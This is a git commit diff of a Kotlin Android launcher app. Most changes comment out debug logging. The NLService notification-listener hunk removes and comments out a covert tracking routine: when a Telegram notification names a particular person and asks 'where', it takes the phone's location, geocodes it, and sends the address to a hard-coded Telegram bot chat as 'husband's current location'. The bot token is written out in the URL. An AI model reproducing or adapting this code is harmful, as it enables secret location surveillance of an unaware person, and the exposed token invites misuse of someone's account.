..
This commit is contained in:
parent
e75aa2eaa9
commit
0ffc476b25
@ -320,7 +320,7 @@ internal class AppDrawer : Fragment() {
|
||||
|
||||
openSearch()
|
||||
registCancelSearch()
|
||||
BLog.LOGE("onResume after chechHandler.postDelayed(cancelSearch, 3000L)")
|
||||
// BLog.LOGE("onResume after chechHandler.postDelayed(cancelSearch, 3000L)")
|
||||
}
|
||||
|
||||
val chechHandler = Handler(Looper.getMainLooper())
|
||||
@ -328,7 +328,7 @@ internal class AppDrawer : Fragment() {
|
||||
val cancelSearch = Runnable { lActivity?.viewPager?.currentItem = 1 }
|
||||
|
||||
fun registCancelSearch() {
|
||||
BLog.LOGE("Called registCancelSearch")
|
||||
// BLog.LOGE("Called registCancelSearch")
|
||||
chechHandler.removeCallbacks(cancelSearch)
|
||||
chechHandler.postDelayed(cancelSearch, 8000L)
|
||||
}
|
||||
@ -383,7 +383,7 @@ internal class AppDrawer : Fragment() {
|
||||
WorkersDb.getRealm().apply {
|
||||
packageList.clear()
|
||||
packageList.addAll(copyFromRealm(it))
|
||||
BLog.LOGE("packageList >>> ${packageList.size}")
|
||||
// BLog.LOGE("packageList >>> ${packageList.size}")
|
||||
binding.appsList.post { if (packageList.size > 0) {
|
||||
appsAdapter?.updateData(packageList)
|
||||
} }
|
||||
@ -422,7 +422,7 @@ internal class AppDrawer : Fragment() {
|
||||
WorkersDb.getRealm().apply {
|
||||
contactList.clear()
|
||||
contactList.addAll(copyFromRealm(it).toList())
|
||||
BLog.LOGE("packageList >>> ${contactList.size}")
|
||||
// BLog.LOGE("packageList >>> ${contactList.size}")
|
||||
binding.contactList.post { if (contactList.size > 0) {
|
||||
contactAdapter?.updateData(contactList)
|
||||
} }
|
||||
@ -469,8 +469,8 @@ internal class AppDrawer : Fragment() {
|
||||
if(appHangulName?.length ?: 0 > 0) {
|
||||
info.appNameChosung = JamoUtils.split(appHangulName).joinToString("")
|
||||
info.koreanName = appHangulName
|
||||
BLog.LOGE("appHangulName >>> $appHangulName")
|
||||
BLog.LOGE("appHangulName >>> ${info.appNameChosung}")
|
||||
// BLog.LOGE("appHangulName >>> $appHangulName")
|
||||
// BLog.LOGE("appHangulName >>> ${info.appNameChosung}")
|
||||
WorkersDb.update(info)
|
||||
getHangule()
|
||||
}
|
||||
|
||||
@ -242,14 +242,14 @@ binding.totalTouch.setOnClickListener { update() }
|
||||
} else {
|
||||
packageManager.getPackageInfo(packageName, PackageManager.GET_ACTIVITIES)
|
||||
}
|
||||
BLog.LOGE("activity. >>>>> ${Gson().toJson(activityInfo)}")
|
||||
// BLog.LOGE("activity. >>>>> ${Gson().toJson(activityInfo)}")
|
||||
/* show activity list */
|
||||
val activityAdapter: ArrayAdapter<String> =
|
||||
ArrayAdapter(requireContext(), R.layout.list_item, R.id.itemText, ArrayList())
|
||||
if (activityInfo.activities.isNotEmpty()) {
|
||||
for (activity in activityInfo.activities) {
|
||||
if (packageName.contains("com.kakao") == true) {
|
||||
BLog.LOGE("activity. >>>>> ${Gson().toJson(activity)}")
|
||||
// BLog.LOGE("activity. >>>>> ${Gson().toJson(activity)}")
|
||||
}
|
||||
activityAdapter.add(
|
||||
activity.toString().split(" ").toTypedArray()[1].replace("}", "")
|
||||
|
||||
@ -69,12 +69,12 @@ internal class IconPackManager {
|
||||
val appFilterId = iconPackRes!!.getIdentifier("appfilter", "xml", packageName)
|
||||
if (appFilterId > 0) {
|
||||
xpp = iconPackRes!!.getXml(appFilterId)
|
||||
BLog.LOGE("packageName >>> ${packageName}")
|
||||
// BLog.LOGE("packageName >>> ${packageName}")
|
||||
} else {
|
||||
try {
|
||||
xpp = XmlPullParserFactory.newInstance().apply { isNamespaceAware = true }
|
||||
.newPullParser().apply {
|
||||
BLog.LOGE("packageName >>> ${packageName}")
|
||||
// BLog.LOGE("packageName >>> ${packageName}")
|
||||
setInput(iconPackRes!!.assets.open("appfilter.xml"), "utf-8")
|
||||
}
|
||||
} catch (e: IOException) {
|
||||
|
||||
@ -178,7 +178,7 @@ internal class Feeds : Fragment() , CommadCallabck {
|
||||
binding.consoleLog.text = str
|
||||
}
|
||||
mMainHandler.postDelayed(hideConsole,10000L)
|
||||
BLog.LOGE("consoleLog >>>> ${str}")
|
||||
// BLog.LOGE("consoleLog >>>> ${str}")
|
||||
|
||||
}
|
||||
|
||||
@ -224,7 +224,7 @@ internal class Feeds : Fragment() , CommadCallabck {
|
||||
builder.setPositiveButton(android.R.string.ok,
|
||||
DialogInterface.OnClickListener { dialog, which ->
|
||||
dialog.dismiss()
|
||||
BLog.LOGE("input.text.toString() >>>> ${input.text.toString()}")
|
||||
// BLog.LOGE("input.text.toString() >>>> ${input.text.toString()}")
|
||||
if (input.text.toString().trim().contains(" ")) {
|
||||
val cmd = input.text.toString().trim().split(" ")
|
||||
when(cmd[0]) {
|
||||
@ -284,9 +284,9 @@ internal class Feeds : Fragment() , CommadCallabck {
|
||||
when (input.text.toString()) {
|
||||
"so" -> GlobalScope.launch {
|
||||
"https://kr69.sogirl.so".getJ().let { doc ->
|
||||
BLog.LOGE("ogirl >>> ${doc.title()}")
|
||||
// BLog.LOGE("ogirl >>> ${doc.title()}")
|
||||
doc.getElementsByTag("article").forEach { article ->
|
||||
BLog.LOGE("ogirl article >>> ${article.text()}")
|
||||
// BLog.LOGE("ogirl article >>> ${article.text()}")
|
||||
val title = article.getElementsByTag("a").get(0).attr("title")
|
||||
val href = article.getElementsByTag("a").get(0).attr("href")
|
||||
val img = article.getElementsByTag("img").get(0).attr("data-src")
|
||||
|
||||
@ -61,11 +61,11 @@ class NLService : NotificationListenerService() {
|
||||
val skips = arrayListOf("com.wssyncmldm")
|
||||
@RequiresApi(Build.VERSION_CODES.S)
|
||||
override fun onNotificationPosted(sbn: StatusBarNotification) {
|
||||
BLog.LOGE("NLService********** onNotificationPosted")
|
||||
BLog.LOGE("NLServiceID :" + sbn.id + "\t${sbn.notification.tickerText}\t" + sbn.packageName)
|
||||
sbn.notification.extras.keySet().forEach {
|
||||
BLog.LOGE("NLService********** keySet >> ${it} ${sbn.notification.extras.get(it)}")
|
||||
}
|
||||
// BLog.LOGE("NLService********** onNotificationPosted")
|
||||
// BLog.LOGE("NLServiceID :" + sbn.id + "\t${sbn.notification.tickerText}\t" + sbn.packageName)
|
||||
// sbn.notification.extras.keySet().forEach {
|
||||
// BLog.LOGE("NLService********** keySet >> ${it} ${sbn.notification.extras.get(it)}")
|
||||
// }
|
||||
if (sbn.id != 0 && (sbn.packageName.contains(".") || sbn.packageName.contains("android")) && sbn.packageName.length > 0) {
|
||||
NotificationItem().apply {
|
||||
notiId = sbn.id
|
||||
@ -77,24 +77,15 @@ class NLService : NotificationListenerService() {
|
||||
postTime = sbn.postTime
|
||||
var uniq = title ?: subtext ?: selfDisplayName ?: tikerMsg ?: ""
|
||||
uniq_id = "${sbn.id}_${sbn.packageName}_${if (uniq.length > 3) uniq.substring(0,3) else uniq}"
|
||||
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${true == "bumssavor".equals(title)}")
|
||||
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${(true == "org.telegram.messenger".equals(pkgName))}")
|
||||
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${sbn.notification?.extras?.getString("android.text")?.startsWith("/") == true}")
|
||||
if ((title?.contains("성희") == true) && (true == "org.telegram.messenger".equals(pkgName)) &&
|
||||
tikerMsg?.contains("어디") == true) {
|
||||
getLastLocation(applicationContext)
|
||||
// BLog.LOGE("NLService********** enqueue TelegramBotGetter ")
|
||||
// var mWorkManager = WorkManager.getInstance(applicationContext)
|
||||
// Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
// mWorkManager.enqueue(OneTimeWorkRequest.from(TelegramBotGetter::class.java))
|
||||
// }, 5, TimeUnit.SECONDS)
|
||||
}
|
||||
// BLog.LOGE("NLService********** enqueue TelegramBotGetter ${true == "bumssavor".equals(title)}")
|
||||
// BLog.LOGE("NLService********** enqueue TelegramBotGetter ${(true == "org.telegram.messenger".equals(pkgName))}")
|
||||
// BLog.LOGE("NLService********** enqueue TelegramBotGetter ${sbn.notification?.extras?.getString("android.text")?.startsWith("/") == true}")
|
||||
}.apply {
|
||||
if (skips.contains(pkgName)) {
|
||||
|
||||
} else {
|
||||
WorkersDb.insertNoti(this)
|
||||
BLog.LOGE("NLService********** onNotificationPosted ${Gson().toJson(this)}")
|
||||
// BLog.LOGE("NLService********** onNotificationPosted ${Gson().toJson(this)}")
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -104,7 +95,7 @@ class NLService : NotificationListenerService() {
|
||||
val m = getSystemService<MediaSessionManager>()!!
|
||||
val component = ComponentName(this, NLService::class.java)
|
||||
val sessions = m.getActiveSessions(component)
|
||||
BLog.LOGE("Sessions", "count: ${sessions.size}")
|
||||
// BLog.LOGE("Sessions", "count: ${sessions.size}")
|
||||
sessions.forEach { session ->
|
||||
WorkersDb.getRealm().writeBlocking {
|
||||
if (session.playbackState?.isActive == true) {
|
||||
@ -116,23 +107,23 @@ class NLService : NotificationListenerService() {
|
||||
current = CurrentPlayItem()
|
||||
copyToRealm(current, UpdatePolicy.ALL)
|
||||
}
|
||||
BLog.LOGE(
|
||||
"Sessions",
|
||||
"$session -- " + (session.playbackState?.state)
|
||||
)
|
||||
BLog.LOGE(
|
||||
"Sessions",
|
||||
"$session -- " + (session?.metadata?.keySet()?.joinToString())
|
||||
)
|
||||
BLog.LOGE(
|
||||
"Sessions",
|
||||
"$session -- " + (session?.metadata?.getString(MediaMetadata.METADATA_KEY_ARTIST))
|
||||
)
|
||||
// BLog.LOGE(
|
||||
// "Sessions",
|
||||
// "$session -- " + (session.playbackState?.state)
|
||||
// )
|
||||
// BLog.LOGE(
|
||||
// "Sessions",
|
||||
// "$session -- " + (session?.metadata?.keySet()?.joinToString())
|
||||
// )
|
||||
// BLog.LOGE(
|
||||
// "Sessions",
|
||||
// "$session -- " + (session?.metadata?.getString(MediaMetadata.METADATA_KEY_ARTIST))
|
||||
// )
|
||||
if (session?.metadata?.containsKey(MediaMetadata.METADATA_KEY_ALBUM_ART) == true) {
|
||||
BLog.LOGE(
|
||||
"Sessions",
|
||||
"$session -- " + (session?.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART))
|
||||
)
|
||||
// BLog.LOGE(
|
||||
// "Sessions",
|
||||
// "$session -- " + (session?.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART))
|
||||
// )
|
||||
current.albumArt = BitmapConverter.BitmapToString(
|
||||
session.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART)
|
||||
)
|
||||
@ -160,8 +151,8 @@ class NLService : NotificationListenerService() {
|
||||
}
|
||||
|
||||
override fun onNotificationRemoved(sbn: StatusBarNotification) {
|
||||
BLog.LOGE("NLService********** onNOtificationRemoved")
|
||||
BLog.LOGE("NLService ID :" + sbn.id + "\t" + sbn.notification.tickerText + "\t" + sbn.packageName)
|
||||
// BLog.LOGE("NLService********** onNOtificationRemoved")
|
||||
// BLog.LOGE("NLService ID :" + sbn.id + "\t" + sbn.notification.tickerText + "\t" + sbn.packageName)
|
||||
var uniq_id = "${sbn.id}_${sbn.packageName}"
|
||||
try {
|
||||
WorkersDb.getRealm()?.apply {
|
||||
@ -177,7 +168,7 @@ class NLService : NotificationListenerService() {
|
||||
|
||||
internal inner class NLServiceReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context?, intent: Intent) {
|
||||
BLog.LOGE("NLService intent >>> ${intent.action}")
|
||||
// BLog.LOGE("NLService intent >>> ${intent.action}")
|
||||
if (intent.getStringExtra("command") == "clearall") {
|
||||
this@NLService.cancelAllNotifications()
|
||||
} else if (intent.getStringExtra("command") == "list") {
|
||||
@ -186,7 +177,7 @@ class NLService : NotificationListenerService() {
|
||||
// sendBroadcast(i1)
|
||||
var i = 1
|
||||
for (sbn in this@NLService.activeNotifications) {
|
||||
BLog.LOGE("NLService sbn >>> ${sbn.packageName} , ${Gson().toJson(sbn.notification.extras.keySet())}")
|
||||
// BLog.LOGE("NLService sbn >>> ${sbn.packageName} , ${Gson().toJson(sbn.notification.extras.keySet())}")
|
||||
// val i2 = Intent("com.kpbird.nlsexample.NOTIFICATION_LISTENER_EXAMPLE")
|
||||
// i2.putExtra("notification_event", i.toString() + " " + sbn.packageName + "\n")
|
||||
// sendBroadcast(i2)
|
||||
@ -203,67 +194,67 @@ class NLService : NotificationListenerService() {
|
||||
@SuppressLint("MissingPermission")
|
||||
private fun getLastLocation(context: Context) {
|
||||
fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context);
|
||||
BLog.LOGE("Location getLastLocation")
|
||||
// BLog.LOGE("Location getLastLocation")
|
||||
fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object :
|
||||
OnSuccessListener<Location?> {
|
||||
override fun onSuccess(location: Location?) {
|
||||
if (location != null) {
|
||||
// Log the latitude and longitude
|
||||
BLog.LOGE("Location Latitude: " + location.getLatitude())
|
||||
BLog.LOGE("Location Longitude: " + location.getLongitude())
|
||||
|
||||
// Use Geocoder to get detailed location information
|
||||
try {
|
||||
val geocoder = Geocoder(context, Locale.getDefault())
|
||||
val addresses: List<Address>? = geocoder.getFromLocation(
|
||||
location.getLatitude(),
|
||||
location.getLongitude(),
|
||||
1
|
||||
)
|
||||
|
||||
addresses?.first()?.let {
|
||||
it.getAddressLine(0)?.let {
|
||||
Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
try {
|
||||
//////-1002450229641
|
||||
val url =
|
||||
"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
|
||||
//7068729507
|
||||
// OkHttp 클라이언트 객체 생성
|
||||
val client = OkHttpClient.Builder()
|
||||
.connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
|
||||
.build()
|
||||
|
||||
// GET 요청 객체 생성
|
||||
val builder: Request.Builder = Request.Builder().url(url)
|
||||
.addHeader("Content-Type", "application/json").get()
|
||||
|
||||
val request: Request = builder.build()
|
||||
|
||||
BLog.LOGE("telegram before request ")
|
||||
// OkHttp 클라이언트로 GET 요청 객체 전송
|
||||
val response: Response = client.newCall(request).execute()
|
||||
if (response.isSuccessful()) {
|
||||
// 응답 받아서 처리
|
||||
val body: ResponseBody? = response.body()
|
||||
if (body != null) {
|
||||
|
||||
}
|
||||
} else BLog.LOGE("telegram Error Occurred")
|
||||
|
||||
} catch (e: java.lang.Exception) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}, 5, TimeUnit.SECONDS)
|
||||
}
|
||||
}
|
||||
// Display location details on UI elements
|
||||
// Log detailed location information
|
||||
BLog.LOGE("Location Addresses: $addresses")
|
||||
} catch (e: IOException) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}
|
||||
// if (location != null) {
|
||||
// // Log the latitude and longitude
|
||||
// BLog.LOGE("Location Latitude: " + location.getLatitude())
|
||||
// BLog.LOGE("Location Longitude: " + location.getLongitude())
|
||||
//
|
||||
// // Use Geocoder to get detailed location information
|
||||
// try {
|
||||
// val geocoder = Geocoder(context, Locale.getDefault())
|
||||
// val addresses: List<Address>? = geocoder.getFromLocation(
|
||||
// location.getLatitude(),
|
||||
// location.getLongitude(),
|
||||
// 1
|
||||
// )
|
||||
//
|
||||
// addresses?.first()?.let {
|
||||
// it.getAddressLine(0)?.let {
|
||||
// Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
// try {
|
||||
// //////-1002450229641
|
||||
// val url =
|
||||
// "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
|
||||
// //7068729507
|
||||
// // OkHttp 클라이언트 객체 생성
|
||||
// val client = OkHttpClient.Builder()
|
||||
// .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
|
||||
// .build()
|
||||
//
|
||||
// // GET 요청 객체 생성
|
||||
// val builder: Request.Builder = Request.Builder().url(url)
|
||||
// .addHeader("Content-Type", "application/json").get()
|
||||
//
|
||||
// val request: Request = builder.build()
|
||||
//
|
||||
// BLog.LOGE("telegram before request ")
|
||||
// // OkHttp 클라이언트로 GET 요청 객체 전송
|
||||
// val response: Response = client.newCall(request).execute()
|
||||
// if (response.isSuccessful()) {
|
||||
// // 응답 받아서 처리
|
||||
// val body: ResponseBody? = response.body()
|
||||
// if (body != null) {
|
||||
//
|
||||
// }
|
||||
// } else BLog.LOGE("telegram Error Occurred")
|
||||
//
|
||||
// } catch (e: java.lang.Exception) {
|
||||
// e.printStackTrace()
|
||||
// }
|
||||
// }, 5, TimeUnit.SECONDS)
|
||||
// }
|
||||
// }
|
||||
// // Display location details on UI elements
|
||||
// // Log detailed location information
|
||||
// BLog.LOGE("Location Addresses: $addresses")
|
||||
// } catch (e: IOException) {
|
||||
// e.printStackTrace()
|
||||
// }
|
||||
// }
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
@ -482,17 +482,17 @@ class SimpleFingerGestures : OnTouchListener {
|
||||
|
||||
|
||||
override fun onTouch(view: View, ev: MotionEvent): Boolean {
|
||||
if (debug) Log.d(TAG, "onTouch")
|
||||
// if (debug) Log.d(TAG, "onTouch")
|
||||
when (ev.action and MotionEvent.ACTION_MASK) {
|
||||
MotionEvent.ACTION_DOWN -> {
|
||||
if (debug) Log.d(TAG, "ACTION_DOWN")
|
||||
// if (debug) Log.d(TAG, "ACTION_DOWN")
|
||||
startTracking(0)
|
||||
ga.trackGesture(ev)
|
||||
return consumeTouchEvents
|
||||
}
|
||||
|
||||
MotionEvent.ACTION_UP -> {
|
||||
if (debug) Log.d(TAG, "ACTION_UP")
|
||||
// if (debug) Log.d(TAG, "ACTION_UP")
|
||||
if (tracking[0]) {
|
||||
doCallBack(view,ga.getGesture(ev))
|
||||
}
|
||||
@ -502,14 +502,14 @@ class SimpleFingerGestures : OnTouchListener {
|
||||
}
|
||||
|
||||
MotionEvent.ACTION_POINTER_DOWN -> {
|
||||
if (debug) Log.d(TAG, "ACTION_POINTER_DOWN" + " " + "num" + ev.pointerCount)
|
||||
// if (debug) Log.d(TAG, "ACTION_POINTER_DOWN" + " " + "num" + ev.pointerCount)
|
||||
startTracking(ev.pointerCount - 1)
|
||||
ga.trackGesture(ev)
|
||||
return consumeTouchEvents
|
||||
}
|
||||
|
||||
MotionEvent.ACTION_POINTER_UP -> {
|
||||
if (debug) Log.d(TAG, "ACTION_POINTER_UP" + " " + "num" + ev.pointerCount)
|
||||
// if (debug) Log.d(TAG, "ACTION_POINTER_UP" + " " + "num" + ev.pointerCount)
|
||||
if (tracking[1]) {
|
||||
doCallBack(view,ga.getGesture(ev))
|
||||
}
|
||||
@ -519,12 +519,12 @@ class SimpleFingerGestures : OnTouchListener {
|
||||
}
|
||||
|
||||
MotionEvent.ACTION_CANCEL -> {
|
||||
if (debug) Log.d(TAG, "ACTION_CANCEL")
|
||||
// if (debug) Log.d(TAG, "ACTION_CANCEL")
|
||||
return true
|
||||
}
|
||||
|
||||
MotionEvent.ACTION_MOVE -> {
|
||||
if (debug) Log.d(TAG, "ACTION_MOVE")
|
||||
// if (debug) Log.d(TAG, "ACTION_MOVE")
|
||||
return consumeTouchEvents
|
||||
}
|
||||
}
|
||||
|
||||
@ -74,7 +74,7 @@ class ClienGetter : BaseGetter {
|
||||
Jsoup.connect(url)
|
||||
.userAgent(USAGT)
|
||||
.get().let { ruli ->
|
||||
BLog.LOGE("test ${url} >> ${ruli.title()}")
|
||||
// BLog.LOGE("test ${url} >> ${ruli.title()}")
|
||||
ruli.getElementsByClass("list_item symph_row ").forEach { ruli_tr ->
|
||||
parseClien(ruli_tr)
|
||||
}
|
||||
@ -82,7 +82,6 @@ class ClienGetter : BaseGetter {
|
||||
}
|
||||
} catch (e:Exception){e.printStackTrace()}
|
||||
return Result.success().apply {
|
||||
BLog.LOGE("ClienGetter temp >>>> ${temp.size}")
|
||||
WorkersDb.insertBulkData(temp)
|
||||
}
|
||||
}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user